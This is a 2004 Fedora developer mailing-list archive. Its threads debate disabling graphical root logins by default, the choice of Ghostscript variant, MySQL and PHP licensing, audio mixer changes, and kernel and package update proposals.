<1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752A47.1090408@insitesinc.com> <1098199374.3627.150.camel@jonspc> Message-ID: <1098199360.30531.53.camel@binkley> > Where does it end ... more wizards and hand holding, small animated > characters to help guide people through, while at the same time removing > anything sharp so users don't cut themselves? > > I can understand telling users running X as root is bad, but removing > the ability to do so seems a bit nanny. > Removing the ability to do so, by default. NOT removing the ability forever. I don't want to see an upstream checkin of xorg-x11 that removes root- run access. but I'd love for fedora core 4 to point and laugh at you if you try to login as root w/o modifying the defaults. -sv From kyrre at solution-forge.net Tue Oct 19 15:44:41 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 17:44:41 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <2ad7cea104101820394133debd@mail.gmail.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> Message-ID: <1098200680.2734.6.camel@kyrre> I had a very good reason to login as root some days ago. In gui. The LDAP system collapsed (or, more consicely, it somehow beginned to take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i logged in as root, ran system-config-authentification, turned on user info cacheing, logged back out, and things worked. tir, 19.10.2004 kl. 05.39 skrev Jon Savage: > > >>Disable root graphical logins. > > >> > > >>Period. > > >> > > >>make it so gdm or kdm or xdm just exit. > > >> > > >>hell, you could make the xinitrc script handle it: > > >> > > >>if your uid is 0 then you throw up a hate-filled messaged and exit. > > >> > > >>EOD. > > >> > > >>If you can't flip to a console and take care of the problem there as > > >>root, then you REALLY don't need to be logged into a graphical client to > > >>do it. > > >> > > >> > > >Bite me ! > No... as others have said disabling a feature by *default* does not in > and of itself make it impossible for an OP to edit /etc/whatever.conf > to enable root's logging into a graphical environment. It *does* > impose a sensible default (for most people), which in turn should > encourage the teeming_masses(tm) to avoid high risk behavior w/o at > least thinking it through first. Note that there are already some > linux distros out there, not naming names, where the whole pesky user > stuff has been eliminated altogether. Those simply default to root. > IMHO we don't want to go there either, the windows 98/XP/2000 style > admin / power user defaults have caused enough damage already. Given > the choice & sensible defaults most users / OPs will do the right > thing. The trick is leading them towards that especially where windows > refugees are concerned. > > Like it or not a significant portion of linix users are, in fact, > coming from a predominantly windows background. Either way default > behaviors should reflect best practices whether defined as the most > intuitive (e.g. nautilus bringing up a burn window when blank CD media > is inserted) or most secure (ftp is not installed/enabled by default, > right). > > People who have other preferences / special needs can & *should* alter > the defaults accordingly to suit their needs. > > -- > Bests, > > JS From rdieter at math.unl.edu Tue Oct 19 15:49:26 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Tue, 19 Oct 2004 10:49:26 -0500 Subject: no certmanager in kdepim? In-Reply-To: References: Message-ID: <41753786.7040102@math.unl.edu> Neal D. Becker wrote: >>>Any chance of a working certmanager as part of kdepim? > kmail/tools/certificate manager gives me an error dialog: > The crypto plugin could not be initialized. > Certificate Manager will terminate now. FYI, it requires additional configuration. See http://bugs.kde.org/show_bug.cgi?id=79181 and http://kmail.kde.org/kmail-pgpmime-howto.html -- Rex From skvidal at phy.duke.edu Tue Oct 19 15:48:39 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 19 Oct 2004 11:48:39 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098200680.2734.6.camel@kyrre> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> Message-ID: <1098200919.30531.55.camel@binkley> On Tue, 2004-10-19 at 17:44 +0200, Kyrre Ness Sjobak wrote: > I had a very good reason to login as root some days ago. In gui. > > The LDAP system collapsed (or, more consicely, it somehow beginned to > take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i > logged in as root, ran system-config-authentification, turned on user > info cacheing, logged back out, and things worked. ctrl-alt-f1 login as root chkconfig nscd on service nscd start logout alt-f7 -sv From kyrre at solution-forge.net Tue Oct 19 15:48:48 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 17:48:48 +0200 Subject: rawhide report: 20041019 changes In-Reply-To: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> References: <200410191157.i9JBv6606112@porkchop.devel.redhat.com> Message-ID: <1098200928.2734.8.camel@kyrre> > redhat-menus-1.12-1 > ------------------- > * Mon Oct 18 2004 - 1.12-1 > > - new version to deal with default mail client > > * Mon Oct 18 2004 - 1.11-1 > > - New release to get new translations and change the default web browser New browser? What is happening? From nphilipp at redhat.com Tue Oct 19 15:51:22 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Tue, 19 Oct 2004 17:51:22 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098195003.3627.54.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> Message-ID: <1098201082.4598.106.camel@gibraltar.stuttgart.redhat.com> On Tue, 2004-10-19 at 15:10 +0100, Jonathan Andrews wrote: > On Tue, 2004-10-19 at 14:50, Nils Philippsen wrote: > > So, it's not Friday yet... [...] > > We basically have two choices: > > > > - Making the system "easy" while at the same time making compromises on > > security. This is what Windows does. > > - Making the system as secure as we can get it while still allowing the > > user to do the things he wants to do. That is what we try to achieve. > > > > You really want to vote for the first option? I guess you're in the > > minority then ;-) > > Its not a question of easy ! Its a question of arrogance .... your > argument is that because you know its a bad idea people should not be > able to do it. Ok - I could live with a warning .... even better if it > only happens the first time root logs in, but disabling root logins in X > is only going to cause problems, unless you can get every other distro > to follow suite ..... Disabling root login as a configuration option isn't near arrogant. If they're able to edit gdm.conf/run gdm configurator, they're able to login as root. Hopefully by that point they're able to see that it isn't a brilliant idea anyway ;-). > > > > > I for example have a number of systems that use X servers to display > > > status information and video. At one point I thought I was going to have > > > to re-write the whole thing next time I upgraded because some security > > > minded person at Xfree decided that removing the "-ac" option from the X > > > server is "more secure" > > > > I haven't needed that option, so why should you? > > This is a windup right ? Because you personally have never needed it it > should not exist, you have been in Unix to long ........ This was my "I frankly don't care that it isn't Friday" line ;-). Seriously, I have done quite some things with X and never had to resort to this option, so I asked myself why you needed it. > > > Don't force users who want a media player in the living room, or just > > > want to have a play with linux to behave like administrators. A lot of > > > home users run with almost no security at all - worry about the network > > > cable not the physical machine...... > > > > As we're still lacking the make_this_machine_a_media_appliance-1.0-1.rpm > > package, we can safely (securely? ;-) assume that the person who wants > > to do that needs to fiddle a good deal anyway so editing gdm.conf or > > similar files isn't to onerous IMO. > > I see situations like this. > > novice user 1 - "how do I configure N", > novice user 2 - "log in as root and run this GUI tool" > novice user 1 - "It wont let me" Meep: novice user 1: "It says I can do this as a normal user as well" novice user 2: "Huh?" ;-) > > As we're still lacking the make_this_machine_a_media_appliance-1.0-1.rpm > > package > Bzzz ... wrong !!! > > I know a reasonable number of users who are using fedora for exactly > that. The apt repositories contain a good version of mplayer and Xine > with the common codecs. Install those and click a divx,xvid,mp3 and one > media player - with no annoying pop ups during playback. I have a box > under my TV exactly for this :-) Still you need to glue together many parts, tweak many settings, and nothing you tell me needs to be done as root. > I suppose you want to pop-up a window in xine now saying "Playing this > video while logged in as root is a security risk" A good idea given the reasons others pointed out on this thread ;-). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Tue Oct 19 15:53:11 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 17:53:11 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098132635.2798.29.camel@tux.lan> References: <1098130576.5512.4.camel@tiger> <1098132635.2798.29.camel@tux.lan> Message-ID: <1098201191.2734.12.camel@kyrre> I think it does that... When i adjust ALSA/OSS volume in gnome-mixer, the other get adjusted as well.. man, 18.10.2004 kl. 22.50 skrev Ronald S. Bultje: > On Mon, 2004-10-18 at 22:16, Louis Garcia wrote: > > What will happen with apps that use OSS. I still play games like > > wolfenstein and aa, how would I adjust the volume for those apps. If you > > remove the oss mixer should the alsa mixer just adjust both volumes > > concurrently. > > Yes. > > Ronald > > -- > Ronald S. Bultje From xose at wanadoo.es Tue Oct 19 15:56:31 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 17:56:31 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098200680.2734.6.camel@kyrre> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> Message-ID: <4175392F.20502@wanadoo.es> Kyrre Ness Sjobak wrote: > I had a very good reason to login as root some days ago. In gui. > > The LDAP system collapsed (or, more consicely, it somehow beginned to > take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i > logged in as root, ran system-config-authentification, turned on user > info cacheing, logged back out, and things worked. what's wrong with logging as any unprivileged user, to open a xterm, to run "su -" and then system-config-authentification ? -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From kyrre at solution-forge.net Tue Oct 19 15:55:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 17:55:42 +0200 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <417456A3.9000608@redhat.com> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> <417430BD.6020500@redhat.com> <1098141769.3789.18.camel@localhost.localdomain> <417456A3.9000608@redhat.com> Message-ID: <1098201342.2734.14.camel@kyrre> Or setting in the php rpm that it conflicts mysql 4? tir, 19.10.2004 kl. 01.49 skrev Warren Togami: > Rodd Clarkson wrote: > >>>Maybe time to move MySQL to Extras? > >>> > >> > >>Stop blaming RH legal, who is merely doing their job. It isn't their > >>fault that their opinion is the wording of the current exception is > >>self-contradictory, and the real problem license that needs to be > >>changed to avoid this problem is PHP. > > > > > > So, maybe we should remove PHP? ;-] > > > > > > As a non-PHP coder, I'd love to have MySQL4 and the thought that a I > > can't because of a licensing problem in PHP is somewhat disappointing. > > So yank PHP and let them address the licensing problem. > > > > > > One option that we are exploring for the future what Debian does. They > ship both mysql 3 and 4 client libraries, with PHP linked to only 3 due > to this license difficulty. This however would be less than ideal for > PHP users, while being an added maintenance burden on us. And > definitely too late for FC3. > > Warren Togami > wtogami at redhat.com From xose at wanadoo.es Tue Oct 19 15:58:54 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 17:58:54 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098200919.30531.55.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> <1098200919.30531.55.camel@binkley> Message-ID: <417539BE.3020900@wanadoo.es> seth vidal wrote: > ctrl-alt-f1 > login as root login as any unprivileged user run su - and ... > chkconfig nscd on > service nscd start > logout > alt-f7 -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From kyrre at solution-forge.net Tue Oct 19 15:59:51 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 17:59:51 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098188839.3981.21.camel@home.gnome.no> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> Message-ID: <1098201590.2734.17.camel@kyrre> Or maybe there should be some kind of config dialog where you could select what to "kick off the list". Another thing that is really lacking, is some vissible info on the dock applet that sound is muted. That lack caused me to nearly destroy my laptops soundcard completely... tir, 19.10.2004 kl. 14.27 skrev Kjartan Maraas: > man, 18,.10.2004 kl. 16.19 -0400, skrev Colin Walters: > > On Mon, 2004-10-18 at 21:28 +0200, Ronald S. Bultje wrote: > > > On Mon, 2004-10-18 at 20:46, Colin Walters wrote: > > > > One alternative instead would be have gnome-volume-control skip OSS > > > > mixers for now. > > > > > > That's probably a good idea, given that you don't expect anyone to still > > > use OSS... > > > > Done. > > > Could we get it to drop modems too please? :) I have a nice grey area > titled "Intel 82801DB-ICH4 Modem [Alsa Mixer]" in the mixer... > > Cheers > Kjartan From kyrre at solution-forge.net Tue Oct 19 16:02:39 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 18:02:39 +0200 Subject: status of ghostscript In-Reply-To: <20041019081644.GN14187@redhat.com> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> Message-ID: <1098201759.2734.20.camel@kyrre> Printing this with the gimp-print (?) driver took me 10-15 minutes of gs chrunching: http://skrot.solution-forge.net/Aurlandsrapport.pdf tir, 19.10.2004 kl. 10.16 skrev Tim Waugh: > On Fri, Oct 15, 2004 at 10:36:35PM +0200, Xose Vazquez Perez wrote: > > > what's the ghostscript future in FC ? > > > > GNU Ghostscript http://www.ghostscript.com/doc/gnu/ > > http://www.gnu.org/software/ghostscript/ > > ESP Ghostscript http://www.cups.org/ghostscript.php > > Good question. Well, what do we all think? > > > GPL Ghostscript http://sourceforge.net/projects/ghostscript/ > > This site is no longer current, by the way. The GNU Ghostscript > project is the same thing at GPL Ghostscript. > > > Slackware has changed to ESP because it brings more > > drivers and has a better integration with CUPS > > Well, the drawback is that you end up being further removed from the > origin of the source code. The benefit is that someone else does (a > lot of) the integration for you. > > Does ESP Ghostscript include the patches for Japanese support, out of > interest? What are the differences between the ESP Ghostscript > package and our package based on GNU Ghostscript (which has lots of > patches)? > > Which direction should Fedora Core take for ghostscript? Now is a > good time to discuss that, since we're overdue to jump to version 8. > > Tim. > */ > > ______________________________________________________________________ > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From ang3l0 at katamail.com Tue Oct 19 16:10:56 2004 From: ang3l0 at katamail.com (Angelo) Date: Tue, 19 Oct 2004 18:10:56 +0200 Subject: Web100 kernel patch on fedora stock kernels Message-ID: <41753C90.2010805@katamail.com> Hi all, Linux TCP/IP protocol stack is well built but it lacks a bit in performance. To give you an idea, my box has a 10MBit connection to the internet, and if I try to transfer a file to a little lagged but high bandwidth host (50ms / 100MBit) this lack of optimization will begin showing. Even if my link will permit to transfer from this host at about 900-1000KB/s I will get only 600-650KB/s. Even using windows tuned to broadband connection I will get 900KB/s. This seems to be related to the tcp window scaling, and even if i try to tune the kernel related parameters (receive/send buffer) logging the traffic the tcp window seems to be left too small for this transfers. Web100 (www.web100.org) is a project that has solved this issue creating a patch that will tune every tcp/ip connection to get the best performance. I hope this patch will be inserted in the fedora stock kernels. Regards, Angelo From kyrre at solution-forge.net Tue Oct 19 16:10:28 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 18:10:28 +0200 Subject: Paralell startup Message-ID: <1098202227.2734.23.camel@kyrre> I am hearing much good from the gentoo camp about paralell startup, and how it brings down boot times to about 30 secounds. Is this possible to do with fedora as well? Kyrre From xose at wanadoo.es Tue Oct 19 16:15:21 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 18:15:21 +0200 Subject: Web100 kernel patch on fedora stock kernels In-Reply-To: <41753C90.2010805@katamail.com> References: <41753C90.2010805@katamail.com> Message-ID: <41753D99.2000400@wanadoo.es> Angelo wrote: > Web100 (www.web100.org) is a project that has solved this issue creating > a patch that will tune every tcp/ip connection to get the best performance. David S. Miller + OSDL + linux-net are working on it. > I hope this patch will be inserted in the fedora stock kernels. fedora motto: first in upstrea. -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From twaugh at redhat.com Tue Oct 19 16:19:01 2004 From: twaugh at redhat.com (Tim Waugh) Date: Tue, 19 Oct 2004 17:19:01 +0100 Subject: status of ghostscript In-Reply-To: <1098201759.2734.20.camel@kyrre> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <1098201759.2734.20.camel@kyrre> Message-ID: <20041019161901.GS14187@redhat.com> On Tue, Oct 19, 2004 at 06:02:39PM +0200, Kyrre Ness Sjobak wrote: > Printing this with the gimp-print (?) driver took me 10-15 minutes of gs > chrunching: > http://skrot.solution-forge.net/Aurlandsrapport.pdf Well, gimp-print is distributed separately to ghostscript, and so is not at issue in *this* thread, which is about whether to carry on with GNU Ghostscript or switch to ESP Ghostscript. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From mattdm at mattdm.org Tue Oct 19 16:19:00 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 19 Oct 2004 12:19:00 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <4175392F.20502@wanadoo.es> References: <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> <4175392F.20502@wanadoo.es> Message-ID: <20041019161900.GA13011@jadzia.bu.edu> On Tue, Oct 19, 2004 at 05:56:31PM +0200, Xose Vazquez Perez wrote: > >The LDAP system collapsed (or, more consicely, it somehow beginned to > >take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i > >logged in as root, ran system-config-authentification, turned on user > >info cacheing, logged back out, and things worked. > what's wrong with logging as any unprivileged user, to open a xterm, > to run "su -" and then system-config-authentification ? With LDAP down, unpriviledged users couldn't authenticate. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From sopwith at redhat.com Tue Oct 19 16:20:39 2004 From: sopwith at redhat.com (Elliot Lee) Date: Tue, 19 Oct 2004 12:20:39 -0400 (EDT) Subject: Should I mention kde-3.3.1? In-Reply-To: <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> Message-ID: On Tue, 19 Oct 2004, Florian La Roche wrote: > On Tue, Oct 19, 2004 at 04:16:31PM +0200, Lars wrote: > > kde 3.3.1 is still not in rawhide. > > would be great to have it there. > > We've been closing down the trees and try to focus on bug-fixing only, > so this version update was vetoed. Than Ngo wants to have kde 3.3.1 > rpm packages for FC3 available from kde.org. Just to reinforce Florian's point - KDE 3.3.1 packages will definitely be available _for_ FC3 even if they are not _in_ FC3. These packages are likely to be one of the first updates available for FC3 after its release. -- Elliot We're so busy putting out fires that we don't take time to stop kids from playing with matches. From foolish at fedoraforum.org Tue Oct 19 16:21:42 2004 From: foolish at fedoraforum.org (Sindre Pedersen Bjordal) Date: Tue, 19 Oct 2004 18:21:42 +0200 Subject: Proposal: new package in fc3 In-Reply-To: <777aada204101902096dbd3cfe@mail.gmail.com> References: <777aada20410181020e77045@mail.gmail.com> <80d7e409041018112724e16730@mail.gmail.com> <777aada204101902096dbd3cfe@mail.gmail.com> Message-ID: <1098202902.4038.1.camel@localhost.localdomain> tir, 19,.10.2004 kl. 14.39 +0530, skrev Rohan Almeida: > Stephen J. Smoogen wrote: > > > > I think it is too late for FC3 with the last test ISO available, > > translations being worked on, etc etc.. It would be a great addition > > for FC4. I know I will be installing it on my Firewall when I get FC3 > > gold installed on it. > > > > Thanks for your comments. > Yes. I guess its a bit too late for FC3. > Can anyone help me regarding the process to get this package > into the current development tree of Fedora? > > Is it true that only RedHat employees can maintain Fedora packages? > > -- > Rohan > Well, currently all core packages are maintained by people from Red Hat, if it has to be that way I don't know. If you can get a package of this into fedora.us, that would make it more likely to make it into core. See www.fedora.us -- Sindre Pedersen Bjordal www.fedoraforum.org -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dette er en digitalt signert meldingsdel URL: From nphilipp at redhat.com Tue Oct 19 16:40:04 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Tue, 19 Oct 2004 18:40:04 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098200680.2734.6.camel@kyrre> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> Message-ID: <1098204005.20631.0.camel@gibraltar.stuttgart.redhat.com> On Tue, 2004-10-19 at 17:44 +0200, Kyrre Ness Sjobak wrote: > I had a very good reason to login as root some days ago. In gui. > > The LDAP system collapsed (or, more consicely, it somehow beginned to > take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i > logged in as root, ran system-config-authentification, turned on user > info cacheing, logged back out, and things worked. Without GUI, there's authconfig. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From manolo at miconexion.com Tue Oct 19 16:39:25 2004 From: manolo at miconexion.com (Manuel Moreno) Date: Tue, 19 Oct 2004 17:39:25 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145933.30531.2.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> Message-ID: <1098203965.3705.6.camel@mgmk7.mgmux.com> On Mon, 2004-10-18 at 20:32 -0400, seth vidal wrote: > Disable root graphical logins. > > Period. > ... > -sv > > Don't do it, for God's sake! Let's not forget that computers are to be useful *not* to be secure. -- Manuel Moreno From elanthis at awesomeplay.com Tue Oct 19 16:47:24 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Tue, 19 Oct 2004 12:47:24 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098203965.3705.6.camel@mgmk7.mgmux.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> Message-ID: <1098204444.3860.22.camel@support02.civic.twp.ypsilanti.mi.us> On Tue, 2004-10-19 at 17:39 +0100, Manuel Moreno wrote: > On Mon, 2004-10-18 at 20:32 -0400, seth vidal wrote: > > Disable root graphical logins. > > > > Period. > > > ... > > -sv > > > > > > Don't do it, for God's sake! > > Let's not forget that computers are to be useful *not* to be secure. Fortunately, the computer is 100% useful without having root graphical logins. Anyone who thinks otherwise is failing to think of the actual problem (I need to do task X) and is instead only thinking of an old solution (just login as root). Everything you can possibly do by logging in as root at GDM can be done some other way, in both a more secure *and* a more convenient manner. > > -- > Manuel Moreno > -- Sean Middleditch AwesomePlay Productions, Inc. From josh at bluga.net Tue Oct 19 16:48:08 2004 From: josh at bluga.net (Joshua Eichorn) Date: Tue, 19 Oct 2004 17:48:08 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098203965.3705.6.camel@mgmk7.mgmux.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> Message-ID: <41754548.1040308@bluga.net> Manuel Moreno wrote: >On Mon, 2004-10-18 at 20:32 -0400, seth vidal wrote: > > >>Disable root graphical logins. >> >>Period. >> >> >> >... > > >>-sv >> >> >> >> > >Don't do it, for God's sake! > >Let's not forget that computers are to be useful *not* to be secure. > > > People with that attibute can go back to windows and play with their viri and worms. Computer should be both useful and secure. -josh From xose at wanadoo.es Tue Oct 19 16:48:23 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 18:48:23 +0200 Subject: status of ghostscript In-Reply-To: <20041019081644.GN14187@redhat.com> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> Message-ID: <41754557.2000103@wanadoo.es> Tim Waugh wrote: >>GPL Ghostscript http://sourceforge.net/projects/ghostscript/ > > > This site is no longer current, by the way. The GNU Ghostscript > project is the same thing at GPL Ghostscript. wrong, 'GPL Ghostscript' is the package relased by artofcode, LLC. and Artifex Software, Inc. from an old tree of the commercial 'AFPL Ghostscript' under GPL license. 'GNU Ghostscript' is 'GPL Ghostscript' minus some "questionable" files. > Does ESP Ghostscript include the patches for Japanese support, out of > interest? What are the differences between the ESP Ghostscript > package and our package based on GNU Ghostscript (which has lots of > patches)? AFPL -> GPL -> GNU -> ESP AFPL Ghostscript: root package, it's free as beer not as speech. GPL Ghostscript: old tree of AFPL, under GPL license. GNU Ghostscript: like GPL minus some "questionable" files by FSF. ESP Ghostscript: like GNU plus bug fixes + others add-ons, supported by Easy Software Products. today releases are, AFPL: 8.14 (22-Feb-2004) GPL: 8.15 (23-Sep-2004) GNU: 8.01 (14-Feb-2004) ESP: 7.07.1 (08-Oct-2003) ESP brings: - preliminary PCL 6 drivers for CUPS - bugs fixed over GNU - direct CMYK printing in the CUPS driver - add nearly all known GhostScript drivers as listed on "http://www.linuxprinting.org/";, including IBM's OMNI, Martin Lottermoser's PCL3, and EPSON's laser printer drivers - makes several drivers more portable - re-register any installed CID fonts at install time. - latest printer drivers they call it : "ESP Ghostscript is a customized version of GNU Ghostscript that includes an enhanced autoconf-based configuration script, the CUPS raster driver to support CUPS raster printer drivers, and additional patches and drivers from various Linux distributors" -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From twaugh at redhat.com Tue Oct 19 16:55:46 2004 From: twaugh at redhat.com (Tim Waugh) Date: Tue, 19 Oct 2004 17:55:46 +0100 Subject: status of ghostscript In-Reply-To: <41754557.2000103@wanadoo.es> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> Message-ID: <20041019165546.GT14187@redhat.com> On Tue, Oct 19, 2004 at 06:48:23PM +0200, Xose Vazquez Perez wrote: > >Does ESP Ghostscript include the patches for Japanese support, out of > >interest? What are the differences between the ESP Ghostscript > >package and our package based on GNU Ghostscript (which has lots of > >patches)? > > AFPL -> GPL -> GNU -> ESP Okay -- but what are the differences between ESP Ghostscript and the Ghostscript package we actually ship? Ours is based on GNU Ghostscript, but has lots of other patches integrated. What functionality would need to be ported to ESP Ghostscript to maintain the same level? > ESP brings: > - preliminary PCL 6 drivers for CUPS > - bugs fixed over GNU > - direct CMYK printing in the CUPS driver > - add nearly all known GhostScript drivers as listed on > "http://www.linuxprinting.org/";, > including IBM's OMNI, Martin Lottermoser's PCL3, and EPSON's laser printer > drivers > - makes several drivers more portable > - re-register any installed CID fonts at install time. > - latest printer drivers But these are relative to what? GNU Ghostscript? What I'm personally interested in is a comparision between ESP Ghostscript and the Ghostscript package we are currently shipping. With respect to switching to ESP Ghostscript for the next development cycle, one drawback that seems immediately apparent is that ESP Ghostscript is not based on GNU Ghostscript 8.x! If we stick to GNU Ghostscript we'll be able to upgrade to 8.x. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From smooge at gmail.com Tue Oct 19 16:56:35 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Tue, 19 Oct 2004 10:56:35 -0600 Subject: Paralell startup In-Reply-To: 